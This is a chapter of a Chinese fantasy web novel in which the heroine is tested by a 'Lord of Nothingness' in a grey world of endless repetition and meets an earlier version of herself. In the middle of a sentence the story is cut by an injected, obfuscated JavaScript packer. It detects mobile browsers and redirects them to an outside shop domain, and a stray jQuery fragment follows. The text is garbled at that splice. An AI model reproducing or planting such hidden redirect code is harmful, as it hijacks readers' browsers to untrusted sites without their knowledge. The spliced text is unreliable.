穿过那道巨大裂缝的瞬间,苏忘忧感觉到了一股,前所未有的压迫感。
不是力量的压迫。
而是……尺度的压迫。
她之前所在的混沌,在她看来已经是无边无际了。
但现在,她看到了。
裂缝之外,是一个更大的混沌。
不,不能叫混沌。
应该叫——超混沌。
在超混沌中,无数个像她之前所在的混沌一样的"小混沌",像气泡一样漂浮着。
每一个小混沌,都有自己的创世者,自己的规则,自己的生灵。
有的小混沌在诞生,有的在繁荣,有的在衰亡,有的已经破灭,只剩下一片虚无。
苏忘忧数了一下,她能看到的小混沌,就有上万个。
而她看不到的,不知道还有多少。
"这……"太初站在苏忘忧身边,瞪大了眼睛,声音在发抖,"这是什么地方?"
"这里是超混沌。"一个声音,从四面八方传来。
那个声音,没有情绪,没有温度,像来自无尽的虚空。
"欢迎你们,来自第一千三百七十二号混沌的旅者。"
苏忘忧抬起头,看向超混沌的深处。
在那里,有一个巨大的身影,端坐在无数小混沌的中央。
那个身影,没有固定的形态。
有时像人,有时像兽,有时像一团雾,有时像无数个旋转的星系。
它的存在本身,就让周围的空间,在不断地扭曲、崩塌、重生。
"我是虚无之主。"那个声音说,"超混沌的统治者。"
"所有的小混沌,都是我创造的。"
"你们所在的那个混沌,是我第一千三百七十二次实验。"
苏忘忧皱起了眉头。
"实验?"她问。
"对。"虚无之主说,"实验。"
"我创造了无数个混沌,每个混沌都有不同的规则,不同的生灵,不同的发展轨迹。"
"我在观察,在记录,在寻找。"
"寻找什么?"苏忘忧问。
虚无之主沉默了很久。
然后,它的声音,第一次出现了一丝……波动。
"寻找意义。"它说。
"存在的意义。"
"我比归墟还要古老。"
"归墟诞生的时候,我已经存在了不知道多久。"
"我创造了第一个混沌,看着里面的生灵诞生、成长、死亡。"
"我以为,我能从他们身上,找到存在的意义。"
"但第一个混沌,毁灭了。"
"里面的所有生灵,都死了。"
"他们的存在,没有留下任何痕迹。"
"就像……从来没有存在过一样。"
"我不明白。"
"如果存在最终都会消失,那存在的意义是什么?"
"所以我创造了第二个混沌。"
"然后是第三个,第四个,第一千三百七十二个。"
"每一次,我都改变规则,改变条件,改变一切能改变的东西。"
"我想看看,有没有一种存在,能超越毁灭,能留下真正的意义。"
"但每一次,都失败了。"
"每一个混沌,最终都会毁灭。"
"每一个生灵,最终都会消失。"
"不管他们多么强大,多么聪明,多么努力。"
"最终,一切都会归于虚无。"
虚无之主的声音,在超混沌中回荡。
那声音里,没有愤怒,没有悲伤。
只有一种,深入骨髓的……疲惫。
一种,经历了无数次失败后的,彻底的疲惫。
"这就是比孤独更深刻的痛苦。"苏忘忧喃喃道。
孤独,至少还有"自己"存在。
而无意义,是连"自己的存在"都被否定了。
"我听说,你在你的混沌里,找到了存在的意义。"虚无之主说,"你说,存在的意义是连接。"
"我很好奇。"
"所以我把你们叫了过来。"
"我想看看,你说的'连接',能不能在我的超混沌中,也成立。"
"如果能,那我也许,终于能找到答案了。"
"如果不能……"
虚无之主没有说完。
但苏忘忧能感觉到,它的意思很明确。
如果不能,它会像毁灭之前一千三百七十一个混沌一样,毁灭她们的混沌。
然后,开始第一千三百七十三次实验。
"你想怎么测试?"苏忘忧问。
"很简单。"虚无之主说,"我把你扔进一个'无意义世界'。"
"在那个世界里,一切努力都没有结果,一切选择都没有意义。"
"不管你做什么,最终都会回到原点。"
"如果你能在那个世界里,找到意义,找到连接,那就算你赢。"
"如果你找不到……"
"那就证明,你的'连接',只在你的混沌里有效。"
"在真正的虚无面前,一切都没有意义。"
苏忘忧沉默了一会儿。
然后,她点了点头。
"好。"她说,"我接受。"
"苏忘忧!"谢长夜抓住她的手,"我和你一起去!"
"不行。"虚无之主说,"这个测试,只能她一个人参加。"
"因为意义,是每个人自己寻找的。"
"别人无法代替。"
谢长夜还想说什么,但苏忘忧摇了摇头。
"没关系。"她笑了笑,"我一个人,可以的。"
"而且,我相信,我能找到。"
她转过头,看着谢长夜、沈清和、太初、秩序之主,还有那个已经变成金色孩子的归墟。
"等我回来。"她说。
然后,她转过身,看向虚无之主。
"来吧。"她说。
虚无之主伸出一只手。
那只手,比所有小混沌加起来都要大。
它轻轻一指。
苏忘忧的身体,开始变得透明。
然后,她消失了。
---
苏忘忧睁开眼睛。
她发现自己,躺在一片灰色的大地上。
天空是灰色的,大地是灰色的,远处的山是灰色的,近处的树是灰色的。
整个世界,都是灰色的。
没有颜色,没有声音,没有气味。
只有一片,死寂的灰色。
苏忘忧坐起来,看了看自己的手。
她的手,也是灰色的。
她的修为,消失了。
她的加法减法融合之力,消失了。
她的忘忧界,消失了。
她的观想之眼,也消失了。
她变成了一个,普通人。
一个,没有任何力量的普通人。
苏忘忧站起来,环顾四周。
远处,有一个小村庄。
她朝村庄走去。
走了大约一个时辰,她到了村庄。
村庄里,有几十户人家。
人们在忙碌着。
有人在种田,有人在砍柴,有人在做饭,有人在聊天。
但他们的脸上,都没有表情。
他们的动作,机械而重复。
苏忘忧观察了一会儿,发现了一个奇怪的规律。
那个种田的农民,每次种完一块田,那块田就会变回原来的样子。
然后,他又重新开始种。
一遍,又一遍。
那个砍柴的樵夫,每次砍完一捆柴,那捆柴就会消失。
然后,他又重新开始砍。
一遍,又一遍。
那个做饭的妇人,每次做好饭,那锅饭就会变回生米。
然后,她又重新开始做。
一遍,又一遍。
他们的努力,没有任何结果。
他们的选择,没有任何意义。
不管做什么,最终都会回到原点。
这就是无意义世界。
苏忘忧走到那个种田的农民面前。
"你好。"她说。
农民抬起头,看着她,灰色的眼睛里,没有任何神采。
"你好。"他说,声音也是灰色的,没有任何感情。
"你为什么要种田?"苏忘忧问。
"因为我是农民。"农民说,"农民就要种田。"
"但你种的田,每次都会变回原样。"苏忘忧说,"你的努力,没有任何结果。"
"我知道。"农民说。
"那你为什么还要种?"
农民沉默了一会儿。
"因为……除了种田,我不知道还能做什么。"他说。
苏忘忧的心,揪紧了。
她走到那个砍柴的樵夫面前。
"你为什么要砍柴?"
"因为我是樵夫。"
"但你砍的柴,每次都会消失。"
"我知道。"
"那你为什么还要砍?"
"因为……除了砍柴,我不知道还能做什么。"
同样的回答。
苏忘忧走遍了整个村庄。
每个人的回答,都是一样的。
他们知道自己的努力没有结果。
他们知道自己的选择没有意义。
但他们还是在做。
因为除了做这些,他们不知道还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17880942|212451||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
能做什么。
这就是无意义世界的规则。
不是强迫你做什么。
而是让你觉得,做什么都没有意义。
然后,你就会陷入,无尽的重复。
苏忘忧站在村庄的中央,看着周围那些机械重复的人们,心中沉甸甸的。
她能理解虚无之主为什么说,一切都没有意义。
在这个世界里,确实如此。
不管你做什么,最终都会回到原点。
不管你多么努力,最终都不会有任何结果。
那意义,到底在哪里?
连接?
在这个世界里,连接有什么用?
你和别人连接,然后呢?
一起重复吗?
苏忘忧闭上眼睛,开始思考。
她想起了归墟。
归墟因为孤独,所以吞噬一切。
但它真正需要的,不是吞噬,而是连接。
那这个世界的人们呢?
他们因为无意义,所以重复一切。
他们真正需要的,是什么?
苏忘忧睁开眼睛,看向了那个种田的农民。
她走过去,在他身边蹲了下来。
"我帮你一起种。"她说。
农民愣了一下,看着她。
"为什么?"他问,"种了也白种。"
"我知道。"苏忘忧笑了笑,"但我想和你一起种。"
农民没有说话。
但他也没有拒绝。
苏忘忧拿起另一把锄头,和农民一起,开始种田。
一下,两下,三下……
种完了一块田。
那块田,果然变回了原样。
农民放下锄头,灰色的眼睛里,第一次出现了一丝……困惑。
"为什么?"他问,"你明明知道种了也白种,为什么还要种?"
苏忘忧擦了擦额头的汗,看着他,笑了。
"因为种田本身,就是意义。"她说。
"结果不重要。"
"重要的是,我和你,一起做了这件事。"
"重要的是,在这个过程中,我们在一起。"
"这就是连接。"
"不是为了什么结果而连接。"
"而是因为连接本身,就是意义。"
农民看着苏忘忧,灰色的眼睛里,那丝困惑,越来越浓。
然后,他的眼睛里,出现了一丝……光。
很微弱的光。
但确实是光。
就在这时——
村庄的另一边,传来了一个声音。
一个,苏忘忧无比熟悉的声音。
"说得好。"那个声音说,"连接本身,就是意义。"
苏忘忧猛地转过头。
然后,她看到了。
在村庄的另一头,站着一个人。
一个,穿着白色衣裙的少女。
她的面容,和苏忘忧一模一样。
但她的眼睛,是金白交织的。
她看着苏忘忧,温柔地笑了。
"好久不见。"她说,"第三百七十二次的我。"
苏忘忧浑身一震。
"你是……"她喃喃道。
"我是第三百七十一次的你。"那个少女说,"就是在第五重天,问太初'你的意志是自由的吗'的那个你。"
"我以为,你已经……"苏忘忧说不下去了。
"我以为我已经消散了,对吗?"少女笑了笑,"没有。"
"我的一部分意识,留在了天道的空缺里。"
"后来天道被推翻,空缺消失,我的意识就飘到了这里。"
"我在这个无意义世界里,已经待了很久了。"
"久到,我都快忘记自己是谁了。"
"直到你来了。"
苏忘忧看着那个和自己一模一样的少女,眼眶湿润了。
"你为什么会在这里?"她问。
"因为虚无之主,把我抓来了。"少女说,"它想研究,一个能让太初系统卡顿的意识,到底是什么样的。"
"但它研究了很久,也没研究出什么。"
"因为我自己,也不知道答案。"
"直到你刚才说的那句话。"
"连接本身,就是意义。"
少女走到苏忘忧面前,伸出手。
"现在,我终于找到答案了。"她说,"谢谢你,第三百七十二次的我。"
苏忘忧也伸出手,握住了她的手。
两只一模一样的手,握在了一起。
金白交织的光芒,从她们相握的手中,爆发出来。
那光芒,照亮了整个灰色的村庄。
照亮了整个无意义世界。